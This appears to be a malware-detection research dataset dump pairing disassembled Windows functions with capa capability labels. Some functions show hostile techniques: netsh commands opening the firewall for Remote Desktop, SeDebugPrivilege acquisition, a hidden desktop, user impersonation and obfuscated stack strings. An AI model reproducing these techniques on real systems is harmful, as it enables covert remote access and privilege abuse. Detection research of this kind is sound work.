joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a9b9
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x84
push ebx
push ebp
push esi
push edi
mov ebx, ecx
xor edi, edi
mov ebp, edx
test ebx, ebx
je 0x1000ab30
push 0x20
pop esi
push edi
push ebx
lea eax, [esp + 0x18]
mov dword [esp + 0x18], edi
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
push 0x44
test eax, eax
mov ecx, 0x420
pop eax
push eax
cmovne esi, ecx
lea eax, [esp + 0x4c]
mov dword [esp + 0x18], esi
mov esi, dword [sym.imp.NTDLL.dll_RtlZeroMemory]
push eax
call esi
push 0x57
pop eax
push 0x69
mov word [esp + 0x2c], ax
pop eax
push 0x6e
mov word [esp + 0x2e], ax
pop eax
push 0x73
mov word [esp + 0x30], ax
pop eax
push 0x74
pop edx
push 0x61
pop ecx
push 0x30
mov word [esp + 0x32], ax
pop eax
push 0x5c
mov word [esp + 0x38], ax
pop eax
push 0x44
mov word [esp + 0x3a], ax
pop eax
push 0x65
mov word [esp + 0x3c], ax
pop eax
push 0x66
mov word [esp + 0x3e], ax
pop eax
push 0x75
mov word [esp + 0x40], ax
pop eax
mov word [esp + 0x40], ax
push 0x6c
pop eax
mov word [esp + 0x42], ax
xor eax, eax
mov word [esp + 0x46], ax
lea eax, [esp + 0x28]
mov dword [esp + 0x50], eax
lea eax, [esp + 0x18]
push 0x10
push eax
mov dword [esp + 0x50], 0x44
mov word [esp + 0x38], dx
mov word [esp + 0x3a], cx
mov word [esp + 0x46], cx
mov word [esp + 0x4c], dx
call esi
cmp dword [0x10026b80], edi
jne 0x1000aae5
mov eax, dword [0x1002687c]
test eax, eax
je 0x1000aac4
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x4c]
push ecx
push edi
push dword [esp + 0x1c]
push dword [esp + 0x24]
push edi
push edi
push edi
push ebp
push edi
push ebx
call eax
jmp 0x1000ab07
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x4c]
push eax
push edi
push dword [esp + 0x1c]
push dword [esp + 0x24]
push edi
push edi
push edi
push ebp
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
jmp 0x1000ab07
mov eax, dword [0x10026adc]
test eax, eax
je 0x1000ab1f
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x4c]
push ecx
push edi
push dword [esp + 0x1c]
push dword [esp + 0x24]
push ebp
push edi
push edi
push ebx
call eax
mov edi, eax
test edi, edi
je 0x1000ab1f
push dword [esp + 0x1c]
mov esi, dword [sym.imp.NTDLL.dll_NtClose]
call esi
push dword [esp + 0x18]
call esi
cmp dword [esp + 0x10], 0
je 0x1000ab30
push dword [esp + 0x10]
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x84
ret
Function at 0x1000ae1a
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x60
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
push 0x1000
mov edi, ecx
mov dword [esp + 0x10], str.netsh_advfirewall_firewall_add_rule_name_Remote_Desktop__dirin_protocoltcp_localport3389_profileany_actionallow
mov dword [esp + 0x14], str.netsh_advfirewall_firewall_add_rule_name_Remote_Desktop__dirin_protocoludp_localport3389_profileany_actionallow
mov dword [esp + 0x18], str.netsh_advfirewall_firewall_delete_rule_name_Remote_Desktop_
call ebp
push 8
pop edx
mov ecx, eax
call fcn.10007d5c
mov esi, eax
test esi, esi
je 0x1000af41
push 0x22
pop eax
push 0x800
lea ecx, [esi + 2]
mov word [esi], ax
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1000af37
inc eax
push 0x5c
pop ecx
cmp word [esi + eax*2 - 2], cx
je 0x1000ae88
mov word [esi + eax*2], cx
inc eax
push ebx
xor ecx, ecx
test edi, edi
push 2
pop ebx
cmovne ebx, ecx
neg edi
sbb edi, edi
add edi, 3
cmp ebx, edi
jae 0x1000af36
lea ebp, [esi + eax*2]
push dword [esp + ebx*4 + 0x10]
push str.cmd.exe___c__s
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x2c]
push 0x44
push eax
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
push 0x10
lea eax, [esp + 0x20]
mov dword [esp + 0x30], 0x44
push eax
mov dword [esp + 0x60], 1
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x30]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1000af27
push 0x7530
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x20]
call dword [sym.imp.NTDLL.dll_NtClose]
push dword [esp + 0x1c]
call dword [sym.imp.NTDLL.dll_NtClose]
inc ebx
cmp ebx, edi
jl 0x1000aea5
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
pop ebx
push esi
call ebp
mov ecx, eax
call fcn.1000350d
pop edi
pop esi
pop ebp
add esp, 0x60
ret

Function at 0x1000b38c
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20
push 0xffffffffffffffff
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000b3ff
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1000b3f6
mov eax, dword [ebp - 0x10]
push edi
mov dword [ebp - 0x1c], eax
xor edi, edi
mov eax, dword [ebp - 0xc]
inc edi
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
push eax
push esi
push 0x10
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], edi
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], 2
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
cmovne esi, edi
pop edi
push dword [ebp - 4]
call dword [sym.imp.NTDLL.dll_NtClose]
mov eax, esi
pop esi
leave
ret
Function at 0x1000b404
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [sym.imp.NTDLL.dll_NtQuerySystemInformation]
lea eax, [esp + 0xc]
push eax
mov esi, ecx
xor ecx, ecx
push ecx
push ecx
push 5
mov ebx, ecx
mov dword [esp + 0x1c], ecx
call edi
cmp eax, 0xc0000004
jne 0x1000b501
mov edx, dword [esp + 0xc]
test edx, edx
je 0x1000b501
push ebp
push 4
push 0x1000
call fcn.10006c4d
mov ebp, eax
test ebp, ebp
je 0x1000b500
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
push ebp
push 5
call edi
test eax, eax
js 0x1000b4f4
cmp dword [esp + 0x10], ebx
jbe 0x1000b4f4
mov edi, ebp
inc ebx
call fcn.1000ab3d
cmp dword [edi + 0x44], eax
jne 0x1000b4d3
and dword [esp + 0x18], 0
cmp dword [edi + 4], 0
jbe 0x1000b4d3
lea ecx, [edi + 0xdc]
mov dword [esp + 0x1c], ecx
mov eax, dword [ecx]
mov dword [esp + 0x14], eax
call fcn.1000339a
cmp dword [esp + 0x14], eax
je 0x1000b53d
mov ecx, dword [esi]
test ecx, ecx
jne 0x1000b50a
mov ecx, dword [0x10026868]
xor edx, edx
push 0x200
mov dword [esi + 4], 0x80
call fcn.10007d5c
mov ecx, eax
mov dword [esi], ecx
test ecx, ecx
jne 0x1000b52f
xor ebx, ebx
mov eax, dword [edi]
test eax, eax
je 0x1000b4dd
add edi, eax
jne 0x1000b476
test ebx, ebx
jne 0x1000b4f4
cmp dword [esi], ebx
je 0x1000b4f4
push dword [esi]
mov ecx, dword [0x10026868]
call fcn.1000350d
and dword [esi], ebx
mov edx, dword [esp + 0x10]
push ecx
mov ecx, ebp
call fcn.10007c48
pop ebp
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 0x10
ret
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x1000b52f
add eax, eax
mov dword [esi + 4], eax
shl eax, 2
push eax
push ecx
mov ecx, dword [0x10026868]
call fcn.1000501a
mov ecx, eax
test ecx, ecx
je 0x1000b4d1
mov dword [esi], ecx
mov eax, dword [esi + 8]
mov edx, dword [esp + 0x14]
mov dword [ecx + eax*4], edx
inc eax
mov dword [esi + 8], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
inc eax
add ecx, 0x40
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
cmp eax, dword [edi + 4]
jb 0x1000b495
jmp 0x1000b4d3
Function at 0x1000b7ea
Capabilities:
Create process on windows
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push ebx
push esi
mov esi, dword [sym.imp.NTDLL.dll_RtlZeroMemory]
lea eax, [ebp - 0x9c]
push edi
push 0x44
pop ebx
push ebx
push eax
mov edi, ecx
call esi
push 0x10
lea eax, [ebp - 0x50]
push eax
call esi
push 0x5f
pop edx
cmp dword [ebp + 0x18], 0
mov eax, dword [ebp - 0x94]
cmovne eax, dword [ebp + 0x18]
push 0x63
mov dword [ebp - 0x94], eax
pop eax
push 0x6f
mov word [ebp - 0x20], ax
mov dword [ebp - 0x9c], ebx
pop ebx
push 0x6d
pop eax
push 0x70
mov word [ebp - 0x1c], ax
pop eax
push 0x61
pop ecx
push 0x74
mov word [ebp - 0x1a], ax
pop eax
push 0x6c
mov word [ebp - 0x16], ax
pop eax
push 0x79
mov word [ebp - 0x12], ax
pop eax
push 0x65
pop esi
push 0x72
mov word [ebp - 0xe], ax
xor eax, eax
mov word [ebp - 8], ax
mov word [ebp - 0x24], dx
mov word [ebp - 0x22], dx
mov word [ebp - 0x14], dx
pop edx
push 0x52
pop eax
push 0x75
mov word [ebp - 0x40], ax
pop eax
push 0x6e
mov word [ebp - 0x18], cx
mov word [ebp - 0x10], cx
pop ecx
push 0x41
mov word [ebp - 0x3e], ax
pop eax
push 0x73
mov word [ebp - 0x3a], ax
pop eax
push 0x49
mov word [ebp - 0x38], ax
pop eax
push 0x76
mov word [ebp - 0x36], ax
pop eax
mov word [ebp - 0x1e], bx
mov word [ebp - 0xc], si
mov word [ebp - 0xa], dx
mov word [ebp - 0x3c], cx
mov word [ebp - 0x34], cx
mov word [ebp - 0x32], ax
mov word [ebp - 0x30], bx
mov ebx, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0x6b
pop eax
mov word [ebp - 0x2e], ax
xor eax, eax
mov word [ebp - 0x2c], si
mov word [ebp - 0x2a], dx
mov word [ebp - 0x28], ax
cmp dword [0x10026be4], eax
jne 0x1000b8f2
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x24]
push eax
call ebx
mov eax, dword [0x100268bc]
xor esi, esi
test eax, eax
je 0x1000b918
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0x9c]
push ecx
push esi
push esi
push 0x8000000
push esi
push esi
push esi
push edi
push esi
call eax
jmp 0x1000b935
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x9c]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp dword [0x10026be4], 0
mov edi, eax
jne 0x1000b947
push esi
lea eax, [ebp - 0x24]
push eax
call ebx
test edi, edi
je 0x1000b97f
mov edx, dword [ebp + 8]
test edx, edx
je 0x1000b96a
imul eax, edx, 0x3e8
or ecx, 0xffffffff
cmp edx, ecx
cmovne ecx, eax
push ecx
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x4c]
mov esi, dword [sym.imp.NTDLL.dll_NtClose]
call esi
push dword [ebp - 0x50]
call esi
xor eax, eax
inc eax
jmp 0x1000b981
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000bb18
Capabilities:
Impersonate user

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
lea eax, [ebp - 4]
xor esi, esi
push eax
push esi
push 2
push dword [ebp + 8]
mov dword [ebp - 4], esi
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_LogonUserW]
mov edi, eax
test edi, edi
jne 0x1000bb48
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x52f
jne 0x1000bb58
xor esi, esi
inc esi
test edi, edi
je 0x1000bb58
push dword [ebp - 4]
call dword [sym.imp.NTDLL.dll_NtClose]
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x1000c568
Capabilities:
Create thread

Disassembly:
cmp dword [0x1002790c], 6
push ebp
push esi
push edi
mov edi, ecx
jb 0x1000c637
cmp dword [0x10026be4], 0
jne 0x1000c637
cmp dword [0x100268b8], 0
je 0x1000c637
push str.CTFX_Redraw_Instance_Olwer
xor ebp, ebp
push ebp
push 1
push ebp
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov esi, eax
test esi, esi
je 0x1000c633
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000c62c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [0x10026b5c], eax
test eax, eax
je 0x1000c62c
push ebp
push sym.MSIMG32.dll_Ordinal_38
push ebp
push ebp
push ebp
push str.CTFX_Redraw_Instance_Olwer
call dword [sym.imp.USER32.dll_CreateDesktopW]
mov dword [0x10026850], eax
test eax, eax
je 0x1000c62c
push ebp
push ebp
push edi
push 0x1000c212
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
test edi, edi
je 0x1000c620
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.NTDLL.dll_NtClose]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [0x10026850]
call dword [sym.imp.USER32.dll_CloseDesktop]
push esi
call dword [sym.imp.NTDLL.dll_NtClose]
pop edi
pop esi
pop ebp
ret
test edi, edi
je 0x1000c633
pop edi
pop esi
pop ebp
jmp fcn.1000c0f5

Function at 0x1000c643
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ecx
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor ebx, ebx
test eax, eax
je 0x1000c6fd
push edi
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], ebx
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
je 0x1000c6fc
mov ecx, dword [esp + 0xc]
push esi
push 2
pop esi
cmp ecx, esi
jle 0x1000c6f4
push ebp
push 0x69
pop ebp
mov eax, dword [edi + esi*4]
cmp word [eax + 2], bx
jne 0x1000c6ca
mov ax, word [eax]
mov word [esp + 0x10], ax
xor eax, eax
mov word [esp + 0x12], ax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
mov ax, word [esp + 0x10]
cmp ax, 0x66
je 0x1000c6eb
cmp ax, 0x65
je 0x1000c6e7
cmp ax, 0x75
je 0x1000c6e0
cmp ax, bp
je 0x1000c6d1
cmp ax, 0x72
je 0x1000c6d1
mov ecx, dword [esp + 0x14]
inc esi
cmp esi, ecx
jl 0x1000c681
jmp 0x1000c6f3
xor ecx, ecx
cmp ax, bp
sete cl
call fcn.10002f07
jmp 0x1000c6f3
call fcn.1000c0f5
jmp 0x1000c6f3
xor ecx, ecx
jmp 0x1000c6ee
xor ecx, ecx
inc ecx
call fcn.1000c568
pop ebp
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x100100eb
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1001012a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001012a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001012a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1001012a
cmp dword [ecx + 0x74], 0xe
jbe 0x1001012a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10012d93
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10012e30
push ebx
push esi
call fcn.10012d5c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10012cf0
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10012ddd
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10012e2f
push edi
push eax
call fcn.10013d4e
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10012dfd
call fcn.10011838
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10012e2e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10012cf0
add esp, 0x20
test eax, eax
jne 0x10012e1c
push edi
call fcn.10011838
jmp 0x10012e24
push ebx
call fcn.10011838
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1001309d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001b750
push 0x1001b748
push str.FlsAlloc
push 0x1f
call fcn.10012fb9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100130d1
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001a47c]
call esi
jmp 0x100130d7
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1001311b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001b760
push 0x1001b758
push str.FlsGetValue
push 0x21
call fcn.10012fb9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10013152
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001a47c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1001315a
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1001b768
push 0x1001b760
push str.FlsSetValue
push 0x22
call fcn.10012fb9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10013194
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1001a47c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x401690
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, edx
push edi
push 0
push dword [section..data]
mov dword [ebp - 8], edi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, edi
shr ebx, 2
mov dword [ebp - 4], eax
test ebx, ebx
je 0x4016d4
mov edi, esi
mov ecx, eax
sub edi, eax
mov edx, ebx
mov eax, dword [edi + ecx]
mov dword [ecx], eax
lea ecx, [ecx + 4]
dec edx
jne 0x4016c3
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 4]
shl ebx, 2
cmp ebx, edi
jae 0x4016ef
mov edx, edi
sub esi, eax
lea ecx, [ebx + eax]
sub edx, ebx
mov al, byte [ecx + esi]
mov byte [ecx], al
lea ecx, [ecx + 1]
dec edx
jne 0x4016e4
mov eax, dword [ebp - 4]
lea esi, [edi - 8]
lea ecx, [eax - 8]
add ecx, edi
mov ebx, esi
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ecx]
shr ebx, 2
and esi, 3
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
test ebx, ebx
je 0x401731
lea ecx, [ebx + edx]
mov edx, dword [eax]
movzx ecx, cl
ror edx, cl
mov ecx, dword [ebp - 8]
add eax, 4
xor edx, ecx
sub edx, ebx
mov dword [eax - 4], edx
mov edx, dword [ebp - 0xc]
dec ebx
jne 0x401714
test esi, esi
je 0x40173d
xor byte [eax], cl
lea eax, [eax + 1]
dec esi
jne 0x401735
mov edi, dword [ebp - 0x10]
mov edi, dword [edi - 4]
push edi
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [ebp - 4]
mov esi, eax
mov edx, esi
mov ecx, ebx
call section..text
push ebx
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4019c3
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov eax, dword [esp + 8]
mov dword [0x4040d0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x4019d6
push esp
mov dword [ebp - 0x24], 0x4016fe
mov eax, dword [0x4040d0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.solienty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040d0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.absent
push str.solienty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040d8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401a75
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401a56
pop ebp
ret 0x10
Function at 0x402aa8
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404440
test esi, esi
jne 0x402ade
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404530
jmp 0x402afc
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004029bc
mov edi, eax
test esi, esi
je 0x402afc
cmp dword [ebx], 0
je 0x402afc
dec esi
jmp 0x402ae5
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403544
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x46000c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4035dc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4035bc
xor eax, eax
push ebp
push 0x4035b5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4035f8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4035bc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x46000c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x46000c], ax
mov esp, ebp
pop ebp
ret

Function at 0x4042c4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x46204c], 0
je 0x404325
cmp word [0x462220], 0xd7b2
jne 0x4042ed
cmp dword [0x462228], 0
jbe 0x4042ed
mov eax, 0x46221c
call dword [0x462238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x460054
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40434c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x46001c], 0
jne 0x404341
push 0
push 0x460074
push 0x460054
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405dc0
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405ff0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405e43
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405ff0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405e43
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40600c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405ecc
xor eax, eax
push ebp
push 0x405ec5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405c08
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405eaa
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x40602c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405eaa
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405ecc
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405fe6
cmp byte [ebp - 0xd], 0
jne 0x405f13
cmp byte [ebp - 0x12], 0
je 0x405fe6
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405f2c
dec ebx
cmp byte [ebx], 0x2e
je 0x405f3b
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405f2b
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405fe6
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405f78
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405fe6
cmp byte [ebp - 0xd], 0
je 0x405fe6
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405fe6
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret